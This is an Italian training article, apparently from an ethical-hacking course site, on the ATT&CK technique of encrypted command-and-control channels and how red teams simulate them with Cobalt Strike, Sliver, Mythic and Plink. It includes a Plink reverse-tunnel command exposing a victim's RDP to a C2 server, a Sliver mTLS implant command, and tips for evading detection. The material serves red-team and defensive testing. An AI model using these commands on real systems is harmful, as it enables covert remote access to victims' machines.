Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
Quando un avversario compromette un sistema, il problema successivo è comunicare con l'impianto senza farsi notare. La tecnica Encrypted Channel: Asymmetric Cryptography risolve questa esigenza sfruttando algoritmi a chiave pubblica — RSA, ElGamal, curve ellittiche — per proteggere il canale di comando e controllo. Si colloca nella tattica Command and Control (TA0011), la fase della kill chain in cui l'attaccante stabilisce e mantiene il dialogo con l'infrastruttura compromessa.
Il meccanismo è quello classico della crittografia a chiave pubblica: il malware incorpora la chiave pubblica dell'operatore, cifra i dati in uscita, e solo chi possiede la chiave privata corrispondente può leggerli. In molti casi l'handshake asimmetrico serve unicamente a negoziare una chiave simmetrica di sessione (AES, RC4, Blowfish), esattamente come fa TLS. Il risultato è un flusso di traffico che, dall'esterno, appare identico a una normale sessione HTTPS.
I numeri confermano la pervasività: 73 software documentati impiegano questa tecnica, 11 gruppi APT la adottano attivamente e 5 campagne l'hanno utilizzata in operazioni reali. Le mitigazioni censite sono 2, a indicare che contrastare traffico cifrato legittimamente strutturato resta una sfida non banale per chi difende.
La simulazione di un canale C2 con crittografia asimmetrica è uno degli scenari più rappresentativi di un red team engagement. L'obiettivo non è solo ottenere una shell, ma verificare se il SOC riesce a distinguere il traffico malevolo cifrato da quello legittimo.
Cobalt Strike (a pagamento) resta il riferimento industriale. Il profilo Malleable C2 permette di configurare certificati SSL personalizzati che imitano servizi legittimi. Per generare un listener HTTPS con certificato custom, si parte dal keytool di Java per creare un keystore, poi si associa al listener nella configurazione del team server. Il punto critico è il certificato: usare un certificato self-signed è facile da rilevare, mentre un certificato Let's Encrypt su un dominio plausibile alza notevolmente la barra di detection.
Sliver (open source) offre un'alternativa gratuita con supporto nativo per mutual TLS. Il framework genera automaticamente certificati per l'handshake, rendendo l'avvio di un impianto mTLS immediato:
sliver > generate --mtls
Per scenari più leggeri, Mythic (open source) supporta profili C2 con cifratura SSL configurabile. La sua architettura modulare consente di scegliere tra diversi agent — ognuno con le proprie capacità crittografiche.
Sul versante tunneling, Plink (open source, parte di PuTTY) è lo strumento che gruppi come Cobalt Group e FIN6 hanno realmente utilizzato per creare tunnel SSH verso i server C2. Il comando canonico per un tunnel reverse è:
plink.exe -ssh -N -R 8080:127.0.0.1:3389 utente@server-c2 -pw password
Questo crea un tunnel cifrato RSA/ECDSA che espone l'RDP della vittima al server dell'attaccante, esattamente la tecnica adottata da FIN8 per esfiltrare accessi desktop remoti.
Per la simulazione di malware che incorpora una chiave pubblica hardcoded — come fanno GrimAgent, SodaMaster e Woody RAT — è utile generare un keypair RSA con OpenSSL e cifrare i beacon di test:
openssl genpkey -algorithm RSA -out private.pem -pkeyopt rsa_keygen_bits:4096 openssl rsa -pubout -in private.pem -out public.pem
Il payload di laboratorio legge la chiave pubblica, cifra il payload di check-in con RSA-OAEP e lo invia al listener. Questo replica fedelmente il pattern di LunarWeb (RSA-4096) e Cobalt Strike (RSA con PKCS1 padding). L'ethical hacker deve documentare se l'IDS rileva l'handshake anomalo, se il proxy decifra il traffico e se il SIEM correla l'evento.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo